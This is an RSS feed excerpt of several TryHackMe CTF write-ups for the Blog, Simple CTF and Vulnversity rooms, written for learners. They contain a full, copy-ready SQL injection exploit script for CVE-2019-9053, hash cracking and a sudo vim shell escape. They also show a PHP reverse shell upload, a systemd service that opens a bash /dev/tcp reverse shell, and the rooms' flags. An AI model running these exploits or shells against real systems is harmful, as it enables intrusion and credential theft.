this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/874/1*apUr-L_-RMCmwSRChuB70w.png" /></figure><p>That PDF gives us a little hint: “Repeated offenses regarding company removable media policy”.</p><p>Seems like our fired friend used USBs durign his work, so it is a good idea to check if there are any connected USBs in this machine.</p><pre>www-data@blog:/$ cd media<br>cd media<br>www-data@blog:/media$ ls -la<br>ls -la<br>total 12<br>drwxr-xr-x  3 root  root  4096 May 26  2020 .<br>drwxr-xr-x 24 root  root  4096 May 25  2020 ..<br>drwx------  2 bjoel bjoel 4096 May 28  2020 usb</pre><p>Looks like we indeed have a connected usb device, but we cannot access it. So let’s run a SUID ennumaration to see if we catch anything:</p><pre>www-data@blog:/media$ find / -user root -perm -u=s -ls 2&gt;/dev/null<br>find / -user root -perm -u=s -ls 2&gt;/dev/null<br>   394827     60 -rwsr-xr-x   1 root     root        59640 Mar 22  2019 /usr/bin/passwd<br>   394810     40 -rwsr-xr-x   1 root     root        40344 Mar 22  2019 /usr/bin/newgrp<br>   394700     76 -rwsr-xr-x   1 root     root        75824 Mar 22  2019 /usr/bin/gpasswd<br>   394607     44 -rwsr-xr-x   1 root     root        44528 Mar 22  2019 /usr/bin/chsh<br>   394811     40 -rwsr-xr-x   1 root     root        37136 Mar 22  2019 /usr/bin/newuidmap<br>   394847     24 -rwsr-xr-x   1 root     root        22520 Mar 27  2019 /usr/bin/pkexec<br>   394605     76 -rwsr-xr-x   1 root     root        76496 Mar 22  2019 /usr/bin/chfn<br>   394952    148 -rwsr-xr-x   1 root     root       149080 Jan 31  2020 /usr/bin/sudo<br>   394809     40 -rwsr-xr-x   1 root     root        37136 Mar 22  2019 /usr/bin/newgidmap<br>   394988     20 -rwsr-xr-x   1 root     root        18448 Jun 28  2019 /usr/bin/traceroute6.iputils<br>   415459     12 -rwsr-sr-x   1 root     root         8432 May 26  2020 /usr/sbin/checker<br>   525644    100 -rwsr-xr-x   1 root     root       100760 Nov 23  2018 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic<br>   395173     44 -rwsr-xr--   1 root     messagebus    42992 Jun 10  2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper<br>   400260    108 -rwsr-sr-x   1 root     root         109432 Oct 30  2019 /usr/lib/snapd/snap-confine<br>   395366     16 -rwsr-xr-x   1 root     root          14328 Mar 27  2019 /usr/lib/policykit-1/polkit-agent-helper-1<br>   395362    428 -rwsr-xr-x   1 root     root         436552 Mar  4  2019 /usr/lib/openssh/ssh-keysign<br>   395180     12 -rwsr-xr-x   1 root     root          10232 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device<br>   524952     44 -rwsr-xr-x   1 root     root          43088 Mar  5  2020 /bin/mount<br>   524356     32 -rwsr-xr-x   1 root     root          30800 Aug 11  2016 /bin/fusermount<br>   524954     28 -rwsr-xr-x   1 root     root          26696 Mar  5  2020 /bin/umount<br>   524407     64 -rwsr-xr-x   1 root     root          64424 Jun 28  2019 /bin/ping<br>   524423     44 -rwsr-xr-x   1 root     root          44664 Mar 22  2019 /bin/su<br>       66     40 -rwsr-xr-x   1 root     root          40152 Oct 10  2019 /snap/core/8268/bin/mount<br>       80     44 -rwsr-xr-x   1 root     root          44168 May  7  2014 /snap/core/8268/bin/ping<br>       81     44 -rwsr-xr-x   1 root     root          44680 May  7  2014 /snap/core/8268/bin/ping6<br>       98     40 -rwsr-xr-x   1 root     root          40128 Mar 25  2019 /snap/core/8268/bin/su<br>      116     27 -rwsr-xr-x   1 root     root          27608 Oct 10  2019 /snap/core/8268/bin/umount<br>     2665     71 -rwsr-xr-x   1 root     root          71824 Mar 25  2019 /snap/core/8268/usr/bin/chfn<br>     2667     40 -rwsr-xr-x   1 root     root          40432 Mar 25  2019 /snap/core/8268/usr/bin/chsh<br>     2743     74 -rwsr-xr-x   1 root     root          75304 Mar 25  2019 /snap/core/8268/usr/bin/gpasswd<br>     2835     39 -rwsr-xr-x   1 root     root          39904 Mar 25  2019 /snap/core/8268/usr/bin/newgrp<br>     2848     53 -rwsr-xr-x   1 root     root          54256 Mar 25  2019 /snap/core/8268/usr/bin/passwd<br>     2958    134 -rwsr-xr-x   1 root     root         136808 Oct 11  2019 /snap/core/8268/usr/bin/sudo<br>     3057     42 -rwsr-xr--   1 root     systemd-resolve    42992 Jun 10  2019 /snap/core/8268/usr/lib/dbus-1.0/dbus-daemon-launch-helper<br>     3427    419 -rwsr-xr-x   1 root     root              428240 Mar  4  2019 /snap/core/8268/usr/lib/openssh/ssh-keysign<br>     6462    105 -rwsr-sr-x   1 root     root              106696 Dec  6  2019 /snap/core/8268/usr/lib/snapd/snap-confine<br>     7636    386 -rwsr-xr--   1 root     dip               394984 Jun 12  2018 /snap/core/8268/usr/sbin/pppd<br>       66     40 -rwsr-xr-x   1 root     root               40152 Jan 27  2020 /snap/core/9066/bin/mount<br>       80     44 -rwsr-xr-x   1 root     root               44168 May  7  2014 /snap/core/9066/bin/ping<br>       81     44 -rwsr-xr-x   1 root     root               44680 May  7  2014 /snap/core/9066/bin/ping6<br>       98     40 -rwsr-xr-x   1 root     root               40128 Mar 25  2019 /snap/core/9066/bin/su<br>      116     27 -rwsr-xr-x   1 root     root               27608 Jan 27  2020 /snap/core/9066/bin/umount<br>     2670     71 -rwsr-xr-x   1 root     root               71824 Mar 25  2019 /snap/core/9066/usr/bin/chfn<br>     2672     40 -rwsr-xr-x   1 root     root               40432 Mar 25  2019 /snap/core/9066/usr/bin/chsh<br>     2748     74 -rwsr-xr-x   1 root     root               75304 Mar 25  2019 /snap/core/9066/usr/bin/gpasswd<br>     2840     39 -rwsr-xr-x   1 root     root               39904 Mar 25  2019 /snap/core/9066/usr/bin/newgrp<br>     2853     53 -rwsr-xr-x   1 root     root               54256 Mar 25  2019 /snap/core/9066/usr/bin/passwd<br>     2963    134 -rwsr-xr-x   1 root     root              136808 Jan 31  2020 /snap/core/9066/usr/bin/sudo<br>     3062     42 -rwsr-xr--   1 root     systemd-resolve    42992 Nov 29  2019 /snap/core/9066/usr/lib/dbus-1.0/dbus-daemon-launch-helper<br>     3432    419 -rwsr-xr-x   1 root     root              428240 Mar  4  2019 /snap/core/9066/usr/lib/openssh/ssh-keysign<br>     6470    109 -rwsr-xr-x   1 root     root              110792 Apr 10  2020 /snap/core/9066/usr/lib/snapd/snap-confine<br>     7646    386 -rwsr-xr--   1 root     dip               394984 Feb 11  2020 /snap/core/9066/usr/sbin/pppd</pre><p>I went to the “/tmp” directory to see if I managed to access this file, but I wasn’t successfull. Only root has access to that file:</p><pre>www-data@blog:/tmp$ ls -la /usr/sbin/checker<br>ls -la /usr/sbin/checker<br>-rwsr-sr-x 1 root root 8432 May 26  2020 /usr/sbin/checker</pre><p>So I tried using ltrace to read the file and got this:</p><pre>www-data@blog:/tmp$ ltrace /usr/sbin/checker<br>ltrace /usr/sbin/checker<br>getenv(&quot;admin&quot;)                                  = nil<br>puts(&quot;Not an Admin&quot;Not an Admin<br>)                             = 13<br>+++ exited (status 0) +++</pre><p>So that with that script things got more clearer. This is basically checking if the logged user has a variable “admin” set to a binary number different then “0”. So I defined that variable to “1” and called the script:</p><pre>www-data@blog:/tmp$ export admin=1<br>export admin=1<br>www-data@blog:/tmp$ /usr/sbin/checker<br>/usr/sbin/checker</pre><p>That gave me Root access! After that I managed to get all of the flags as you can see below:</p><pre>root@blog:/tmp# cd ../<br>cd ../<br>root@blog:/# cd root<br>cd root<br>root@blog:/root# cat root.txt<br>cat root.txt<br>9a0b2b618bef9bfa7ac28c1353d9f318<br>root@blog:/root# cd ../<br>cd ../<br>root@blog:/# cd media<br>cd media<br>root@blog:/media# ls<br>ls<br>usb<br>root@blog:/media# cd usb<br>cd usb<br>root@blog:/media/usb# ls<br>ls<br>user.txt<br>root@blog:/media/usb# cat user.txt<br>cat user.txt<br>c8421899aae571f7af486492b71a8ab7</pre><blockquote>Final Thoughts: I liked the challenge but I think that this would be an easier machine if it was a bit more straightfoward.</blockquote><p>Congratulations! You did it!</p><p>Thank you very much for reading this Write-up!</p><p>Let’s connect:</p><p><a href="https://www.linkedin.com/in/wevsec">LinkedIn</a> | <a href="https://github.com/wevsec">GitHub</a> | <a href="https://www.wevsec.com/">WebSite</a> | <a href="https://www.youtube.com/@wev_sec">Youtube</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=71f900135b21" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Simple CTF — TryHackMe CTF]]></title>
            <link>https://wevsec.medium.com/simple-ctf-tryhackme-ctf-c566ed600dd4?source=rss-253def174ab8------2</link>
            <guid isPermaLink="false">https://medium.com/p/c566ed600dd4</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <dc:creator><![CDATA[Wev_Sec]]></dc:creator>
            <pubDate>Tue, 23 Sep 2025 17:57:51 GMT</pubDate>
            <atom:updated>2025-09-23T17:57:51.217Z</atom:updated>
            <content:encoded><![CDATA[<h3>Simple CTF — TryHackMe CTF</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZcLxpFb2nATe72LYiTGFJg.png" /></figure><h3>#1 Deploy the Machine:</h3><p>Let’s start with the very first thing we should do when we start a TryHackMe CTF, deploy the machine. Just click on “Start machine” and than wait for the ip address to appear, that’s it.</p><ol><li>How many services are running under port 1000?</li></ol><p><em>Command</em>:</p><pre>nmap -sC -sV -Pn -oN nmap_intial &lt;IP&gt;</pre><p><em>Output</em>:</p><pre>┌──(kali㉿vbox)-[~]<br>└─$ nmap -sC -sV -Pn -oN nmap_intial &lt;IP&gt;<br>Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-01 16:06 EDT<br>Nmap scan report for &lt;IP&gt;<br>Host is up (0.34s latency).<br>Not shown: 997 filtered tcp ports (no-response)<br>PORT     STATE SERVICE VERSION<br>21/tcp   open  ftp     vsftpd 3.0.3<br>| ftp-syst: <br>|   STAT: <br>| FTP server status:<br>|      Connected to ::ffff:10.2.50.28<br>|      Logged in as ftp<br>|      TYPE: ASCII<br>|      No session bandwidth limit<br>|      Session timeout in seconds is 300<br>|      Control connection is plain text<br>|      Data connections will be plain text<br>|      At session startup, client count was 2<br>|      vsFTPd 3.0.3 - secure, fast, stable<br>|_End of status<br>| ftp-anon: Anonymous FTP login allowed (FTP code 230)<br>|_Can&#39;t get directory listing: TIMEOUT<br>80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))<br>|_http-server-header: Apache/2.4.18 (Ubuntu)<br>| http-robots.txt: 2 disallowed entries <br>|_/ /openemr-5_0_1_3 <br>|_http-title: Apache2 Ubuntu Default Page: It works<br>2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   2048 29:42:69:14:9e:ca:d9:17:98:8c:27:72:3a:cd:a9:23 (RSA)<br>|   256 9b:d1:65:07:51:08:00:61:98:de:95:ed:3a:e3:81:1c (ECDSA)<br>|_  256 12:65:1b:61:cf:4d:e5:75:fe:f4:e8:d4:6e:10:2a:f6 (ED25519)<br>Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel</pre><pre>Service detection performed. Please report any incorrect results at <a href="https://nmap.org/submit/">https://nmap.org/submit/</a> .<br>Nmap done: 1 IP address (1 host up) scanned in 61.84 seconds</pre><p><em>Answer</em>:</p><pre>2</pre><p>2. What is running on the higher port?</p><p><em>Answer</em>:</p><pre>SSH</pre><p>3. What’s the CVE you’re using against the application?</p><p>To answer that we need to run gobuster:</p><pre>gobuster dir -u &lt;IP&gt;-w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt</pre><p>That will return us this output:</p><pre>┌──(kali㉿vbox)-[~]<br>└─$ gobuster dir -u &lt;IP&gt; -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt<br>===============================================================<br>Gobuster v3.6<br>by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)<br>===============================================================<br>[+] Url:                     http://&lt;IP&gt;<br>[+] Method:                  GET<br>[+] Threads:                 10<br>[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt<br>[+] Negative Status codes:   404<br>[+] User Agent:              gobuster/3.6<br>[+] Timeout:                 10s<br>===============================================================<br>Starting gobuster in directory enumeration mode<br>===============================================================<br>/simple               (Status: 301) [Size: 315] [--&gt; http://&lt;IP&gt;/simple/]</pre><p>Now that we know that the link &lt;IP&gt;/simple exists we can do more investigations.</p><p>After researching the page I managed to find the CMS Version that this site is using right in the Footer of the page:</p><pre>© Copyright 2004 - 2025 - CMS Made Simple<br>This site is powered by CMS Made Simple version 2.2.8</pre><p>Knowing the CMS version allows us to search for exploits related specifically to that version, so that’s what I’ve done! I managed to find the “<br><a href="https://www.exploit-db.com/exploits/46635">CMS Made Simple &lt; 2.2.10 — SQL Injection</a>” on Exploit Database which gives us the CVE and the exploit script.</p><p><em>Answer</em>:</p><pre>CVE-2019-9053</pre><p>4. To what kind of vulnerability is the application vulnerable?</p><p>The app is vulnerable to SQL Injection.</p><pre>SQLI</pre><p>5. What’s the password?</p><p>To find the password we need to go back to Exploit Database and download the <a href="https://www.exploit-db.com/exploits/46635">script</a>.</p><p>When trying to run the script you might get some python errors like I did, so here’s the working version of the code you can just copy and paste:</p><pre>#!/usr/bin/env python<br># Exploit Title: Unauthenticated SQL Injection on CMS Made Simple &lt;= 2.2.9<br># Date: 30-03-2019<br># Exploit Author: Daniele Scanu @ Certimeter Group<br># Vendor Homepage: https://www.cmsmadesimple.org/<br># Software Link: https://www.cmsmadesimple.org/downloads/cmsms/<br># Version: &lt;= 2.2.9<br># Tested on: Ubuntu 18.04 LTS<br># CVE : CVE-2019-9053</pre><pre>import requests<br>from termcolor import colored<br>import time<br>from termcolor import cprint<br>import optparse<br>import hashlib</pre><pre>parser = optparse.OptionParser()<br>parser.add_option(&#39;-u&#39;, &#39;--url&#39;, action=&quot;store&quot;, dest=&quot;url&quot;, help=&quot;Base target uri (ex. http://10.10.10.100/cms)&quot;)<br>parser.add_option(&#39;-w&#39;, &#39;--wordlist&#39;, action=&quot;store&quot;, dest=&quot;wordlist&quot;, help=&quot;Wordlist for crack admin password&quot;)<br>parser.add_option(&#39;-c&#39;, &#39;--crack&#39;, action=&quot;store_true&quot;, dest=&quot;cracking&quot;, help=&quot;Crack password with wordlist&quot;, default=False)</pre><pre>options, args = parser.parse_args()<br>if not options.url:<br>    print(&quot;[+] Specify an url target&quot;)<br>    print(&quot;[+] Example usage (no cracking password): exploit.py -u http://target-uri&quot;)<br>    print(&quot;[+] Example usage (with cracking password): exploit.py -u <a href="http://target-uri/">http://target-uri</a> --crack -w /path-wordlist&quot;)<br>    print(&quot;[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based.&quot;)<br>    exit()</pre><pre>url_vuln = options.url + &#39;/moduleinterface.php?mact=News,m1_,default,0&#39;<br>session = requests.Session()<br>dictionary = &#39;1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@._-$&#39;<br>flag = True<br>password = &quot;&quot;<br>temp_password = &quot;&quot;<br>TIME = 1<br>db_name = &quot;&quot;<br>output = &quot;&quot;<br>email = &quot;&quot;</pre><pre>salt = &#39;&#39;<br>wordlist = &quot;&quot;<br>if options.wordlist:<br>    wordlist += options.wordlist</pre><pre>def crack_password():<br>    global password<br>    global output<br>    global wordlist<br>    global salt<br>    dict = open(wordlist)<br>    for line in dict.readlines():<br>        line = line.replace(&quot;\n&quot;, &quot;&quot;)<br>        beautify_print_try(line)<br>        if hashlib.md5(str(salt) + line).hexdigest() == password:<br>            output += &quot;\n[+] Password cracked: &quot; + line<br>            break<br>    dict.close()</pre><pre>def beautify_print_try(value):<br>    global output<br>    print(&quot;\033c&quot;)<br>    cprint(output,&#39;green&#39;, attrs=[&#39;bold&#39;])<br>    cprint(&#39;[*] Try: &#39; + value, &#39;red&#39;, attrs=[&#39;bold&#39;])</pre><pre>def beautify_print():<br>    global output<br>    print(&quot;\033c&quot;)<br>    cprint(output,&#39;green&#39;, attrs=[&#39;bold&#39;])</pre><pre>def dump_salt():<br>    global flag<br>    global salt<br>    global output<br>    ord_salt = &quot;&quot;<br>    ord_salt_temp = &quot;&quot;<br>    while flag:<br>        flag = False<br>        for i in range(0, len(dictionary)):<br>            temp_salt = salt + dictionary[i]<br>            ord_salt_temp = ord_salt + hex(ord(dictionary[i]))[2:]<br>            beautify_print_try(temp_salt)<br>            payload = &quot;a,b,1,5))+and+(select+sleep(&quot; + str(TIME) + &quot;)+from+cms_siteprefs+where+sitepref_value+like+0x&quot; + ord_salt_temp + &quot;25+and+sitepref_name+like+0x736974656d61736b)+--+&quot;<br>            url = url_vuln + &quot;&amp;m1_idlist=&quot; + payload<br>            start_time = time.time()<br>            r = session.get(url)<br>            elapsed_time = time.time() - start_time<br>            if elapsed_time &gt;= TIME:<br>                flag = True<br>                break<br>        if flag:<br>            salt = temp_salt<br>            ord_salt = ord_salt_temp<br>    flag = True<br>    output += &#39;\n[+] Salt for password found: &#39; + salt</pre><pre>def dump_password():<br>    global flag<br>    global password<br>    global output<br>    ord_password = &quot;&quot;<br>    ord_password_temp = &quot;&quot;<br>    while flag:<br>        flag = False<br>        for i in range(0, len(dictionary)):<br>            temp_password = password + dictionary[i]<br>            ord_password_temp = ord_password + hex(ord(dictionary[i]))[2:]<br>            beautify_print_try(temp_password)<br>            payload = &quot;a,b,1,5))+and+(select+sleep(&quot; + str(TIME) + &quot;)+from+cms_users&quot;<br>            payload += &quot;+where+password+like+0x&quot; + ord_password_temp + &quot;25+and+user_id+like+0x31)+--+&quot;<br>            url = url_vuln + &quot;&amp;m1_idlist=&quot; + payload<br>            start_time = time.time()<br>            r = session.get(url)<br>            elapsed_time = time.time() - start_time<br>            if elapsed_time &gt;= TIME:<br>                flag = True<br>                break<br>        if flag:<br>            password = temp_password<br>            ord_password = ord_password_temp<br>    flag = True<br>    output += &#39;\n[+] Password found: &#39; + password</pre><pre>def dump_username():<br>    global flag<br>    global db_name<br>    global output<br>    ord_db_name = &quot;&quot;<br>    ord_db_name_temp = &quot;&quot;<br>    while flag:<br>        flag = False<br>        for i in range(0, len(dictionary)):<br>            temp_db_name = db_name + dictionary[i]<br>            ord_db_name_temp = ord_db_name + hex(ord(dictionary[i]))[2:]<br>            beautify_print_try(temp_db_name)<br>            payload = &quot;a,b,1,5))+and+(select+sleep(&quot; + str(TIME) + &quot;)+from+cms_users+where+username+like+0x&quot; + ord_db_name_temp + &quot;25+and+user_id+like+0x31)+--+&quot;<br>            url = url_vuln + &quot;&amp;m1_idlist=&quot; + payload<br>            start_time = time.time()<br>            r = session.get(url)<br>            elapsed_time = time.time() - start_time<br>            if elapsed_time &gt;= TIME:<br>                flag = True<br>                break<br>        if flag:<br>            db_name = temp_db_name<br>            ord_db_name = ord_db_name_temp<br>    output += &#39;\n[+] Username found: &#39; + db_name<br>    flag = True</pre><pre>def dump_email():<br>    global flag<br>    global email<br>    global output<br>    ord_email = &quot;&quot;<br>    ord_email_temp = &quot;&quot;<br>    while flag:<br>        flag = False<br>        for i in range(0, len(dictionary)):<br>            temp_email = email + dictionary[i]<br>            ord_email_temp = ord_email + hex(ord(dictionary[i]))[2:]<br>            beautify_print_try(temp_email)<br>            payload = &quot;a,b,1,5))+and+(select+sleep(&quot; + str(TIME) + &quot;)+from+cms_users+where+email+like+0x&quot; + ord_email_temp + &quot;25+and+user_id+like+0x31)+--+&quot;<br>            url = url_vuln + &quot;&amp;m1_idlist=&quot; + payload<br>            start_time = time.time()<br>            r = session.get(url)<br>            elapsed_time = time.time() - start_time<br>            if elapsed_time &gt;= TIME:<br>                flag = True<br>                break<br>        if flag:<br>            email = temp_email<br>            ord_email = ord_email_temp<br>    output += &#39;\n[+] Email found: &#39; + email<br>    flag = True</pre><pre>dump_salt()<br>dump_username()<br>dump_email()<br>dump_password()</pre><pre>if options.cracking:<br>    print(colored(&quot;[*] Now try to crack password&quot;))<br>    crack_password()</pre><pre>beautify_print()</pre><p>Finally you can run the following command:</p><pre>python3 46635.py -u http://&lt;IP&gt;/simple</pre><p>That script will return the following information:</p><pre>[+] Salt for password found: 1dac0d92e9fa6bb2<br>[+] Username found: mitch<br>[+] Email found: admin@admin.com<br>[+] Password found: 0c01f4468bd75d7a84c7eb73846e8d96</pre><p>Now to find the password for mitchl we will need to use hashcat:</p><pre>hashcat -O -a 0 -m 20 0c01f4468bd75d7a84c7eb73846e8d96:1dac0d92e9fa6bb2 /usr/share/wordlists/rockyou.txt.gz</pre><p>That will return this:</p><pre>0c01f4468bd75d7a84c7eb73846e8d96:1dac0d92e9fa6bb2:secret</pre><p>Answer:</p><pre>secret</pre><p>6. Where can you login with the details obtained?</p><pre>SSH</pre><p>7. What’s the user flag?</p><p>To discover that we need to login to mitchl’s machine:</p><pre>ssh mitch@10.201.58.23 -p 2222</pre><p>Now after we login with the username and password with previously extracted we can just run these simple linux commands:</p><pre>┌──(kali㉿vbox)-[~]<br>└─$ ssh mitch@&lt;IP&gt; -p 2222 <br>mitch@&lt;IP&gt;&#39;s password: <br>Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-58-generic i686)<br><br> * Documentation:  https://help.ubuntu.com<br> * Management:     https://landscape.canonical.com<br> * Support:        https://ubuntu.com/advantage<br><br>0 packages can be updated.<br>0 updates are security updates.<br><br>Last login: Mon Aug 19 18:13:41 2019 from 192.168.0.190<br>$ ls<br>user.txt<br>$ cat user.txt<br>G00d j0b, keep up!</pre><p>Answer:</p><pre>G00d j0b, keep up!</pre><p>8. Is there any other user in the home directory? What’s its name?</p><p>To find this information we can just run these simple linux commands:</p><pre>$ cd ../<br>$ ls<br>mitch  sunbath</pre><p>Answer:</p><pre>sunbath</pre><p>9. What can you leverage to spawn a privileged shell?</p><p>To find this information we can just run this simple linux command:</p><pre>$ sudo -l<br>User mitch may run the following commands on Machine:<br>    (root) NOPASSWD: /usr/bin/vim</pre><p>sudo -l is a Linux command that shows you what <strong>privileges</strong> the current user has with sudo.</p><p>Answer:</p><pre>vim</pre><p>10. What’s the root flag?</p><p>Now that we know that vim has root access, we can use it to elevate our privilages and find the root flag.</p><p>To do that we need to go to GTFOBins and search for <a href="https://gtfobins.github.io/gtfobins/vim/">vim</a>. There we will find the following command:</p><blockquote>It can be used to break out from restricted environments by spawning an interactive system shell.</blockquote><blockquote>sudo vim -c &#39;:!/bin/sh&#39;</blockquote><p>So we can now run the following command:</p><pre>$ sudo vim -c &#39;:!/bin/sh&#39;<br># whoami <br>root</pre><p>After that we are able to access the root directory with the command cat /root/root.txt and get the flag:</p><pre>W3ll d0n3. You made it!</pre><p>Congratulations! You did it!</p><p>Thank you very much for reading this Write-up!</p><p>Let’s connect:</p><p><a href="https://www.linkedin.com/in/wevsec">LinkedIn</a> | <a href="https://github.com/wevsec">GitHub</a> | <a href="https://www.wevsec.com/">WebSite</a> | <a href="https://www.youtube.com/@wev_sec">Youtube</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c566ed600dd4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Vulnversity — TryHackMe CTF]]></title>
            <link>https://wevsec.medium.com/vulnversity-tryhackme-ctf-632e2e6a3a54?source=rss-253def174ab8------2</link>
            <guid isPermaLink="false">https://medium.com/p/632e2e6a3a54</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <dc:creator><![CDATA[Wev_Sec]]></dc:creator>
            <pubDate>Mon, 22 Sep 2025 17:12:43 GMT</pubDate>
            <atom:updated>2025-09-22T17:12:43.911Z</atom:updated>
            <content:encoded><![CDATA[<h3>Vulnversity — TryHackMe CTF</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*aonfR0avER0h8gKbZPrVeg.png" /></figure><h3>#1 Deploy the Machine:</h3><p>Let’s start with the very first thing we should do when we start a TryHackMe CTF, deploy the machine. Just click on “Start machine” and than wait for the ip address to appear, that’s it.</p><h3>#2 Reconnaissance:</h3><ol><li>Scan the machine, how many ports are open?</li></ol><pre>nmap -sC -sV -Pn -oN nmap_intial &lt;IP&gt;</pre><p><em>Output:</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/1*HSZqLbqTF8gPTeSXkDgPQw.png" /></figure><p><em>Answer:</em></p><pre>6</pre><p>2. What version of the squid proxy is running on the machine?</p><pre>4.10</pre><p>3. How many ports will Nmap scan if the flag <strong>-p-400 </strong>was used?</p><pre>400</pre><p>4. What is the most likely operating system this machine is running?</p><pre>Ubuntu</pre><p>5. What port is the web server running on?</p><pre>3333</pre><p>6. What is the flag for enabling verbose mode using Nmap?</p><pre>-v</pre><h3>#3 Locating directories using Gobuster</h3><ol><li>What is the directory that has an upload form page?</li></ol><pre>gobuster dir -u &lt;IP&gt; -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt</pre><p><em>Output:</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/615/1*wudyzqgForUBsZY-CHP2xA.png" /></figure><p><em>Answer:</em></p><pre>internal</pre><h3>4# Compromise the Webserver</h3><p>To solve this task do the following:</p><ul><li>Go to http://&lt;IP&gt;:3333/internal/index.php and upload the reverse shell script</li><li>Open a new terminal and run the following netcat command: nc -lvnp 1234</li><li>After that go to http://&lt;IP&gt;:3333/internal/index.php/shell.phtml and you will get a shell</li></ul><ol><li>What common file type you’d want to upload to exploit the server is blocked? Try a couple to find out.</li></ol><p>Normally to get a reverse shell hackers utilize a very well known .php script you can find on this <a href="https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php">repo</a>.</p><pre>.php</pre><p>2. What extension is allowed after running the above exercise?</p><p>To discover this you can follow the BurpSuite tutorial found in the Room or upload the reverse shell files manually until you get the <em>success </em>message!</p><pre>.phtml</pre><p>3. What is the name of the user who manages the webserver?</p><p>To find out this information you will need to access the home directory with “<strong>cd home</strong>”.</p><pre>bill</pre><p>4. What is the user flag?</p><p>To find out this information you will need to access bill’s directory with “<strong>cd bill</strong>” an then run “<strong>cat user.txt</strong>”.</p><pre>8bd7992fbe8a6ad22a63361004cfcedb</pre><h3>5# Privilege Escalation</h3><ol><li>On the system, search for all SUID files. Which file stands out?</li></ol><p>Run the following command first: find / -perm /4000 2&gt;/dev/null</p><pre>/bin/systemctl</pre><p>2. What is the root flag value?</p><p>To get this flag I went to <a href="https://gtfobins.github.io/gtfobins/systemctl/">GTFBins</a> and searched for systemctl. After that Ive created the file “<strong>root.service</strong>”with the following code:</p><pre>[Unit]<br>Description=root<br><br>[Service]<br>Type=simple<br>User=root<br>ExecStart=/bin/bash -c &#39;bash -i &gt;&amp; /dev/tcp/YOUR_LOCAL_IP/PORT 0&gt;&amp;1&#39;<br><br>[Install]<br>WantedBy=multi-user.target</pre><p>Then I’ve started a Python server with the following command:</p><pre>python3 -m http.server 5555</pre><p>And ran “<strong>cd /tmp</strong>” in the victims machine to transfer the root.service file from my machine to the victims machine. To do that I ran the following command:</p><pre>wget http://10.2.50.28:5555/root.service</pre><p>Output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*TRo_bOMpuU9k5hJ_SWLQ1A.png" /></figure><p>After that I typed “<strong>systemctl enable /tmp/root.service</strong>” to authorize the service to run.</p><p>Going back to my machine again I’ve started a netcat server with the following command “<strong>nc -nlvp PORT_FROM_SERVICE_FILE</strong>”.</p><p>Then I went back to the victims machine and ran “<strong>systemctl start root</strong>” to start my exploit.</p><p>The netcat server I’ve openned previously now has a new shell with Root access, we’ve successfully escalated our privileges!</p><p>Now to find the last flag simply access the “<strong>/root</strong>” path and type “<strong>cat root.txt</strong>”.</p><p><em>Answer:</em></p><p>Congratulations! You did it!</p><p>Thank you very much for reading this Write-up!</p><p>Let’s connect:</p><p><a href="https://www.linkedin.com/in/wevsec">LinkedIn</a> | <a href="https://github.com/wevsec">GitHub</a> | <a href="https://www.wevsec.com/">WebSite</a> | <a href="https://www.youtube.com/@wev_sec">Youtube</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=632e2e6a3a54" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[RootMe — TryHackMe CTF]]></title>
            <link>https://wevsec.medium.com/rootme-tryhackme-ctf-025621971633?source=rss-253def174ab8------2</link>
            <guid isPermaLink="false">https://medium.com/p/025621971633</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <dc:creator><![CDATA[Wev_Sec]]></dc:creator>
            <pubDate>Fri, 27 Jun 2025 20:15:20 GMT</pubDate>
            <atom:updated>2025-06-27T20:17:09.872Z</atom:updated>
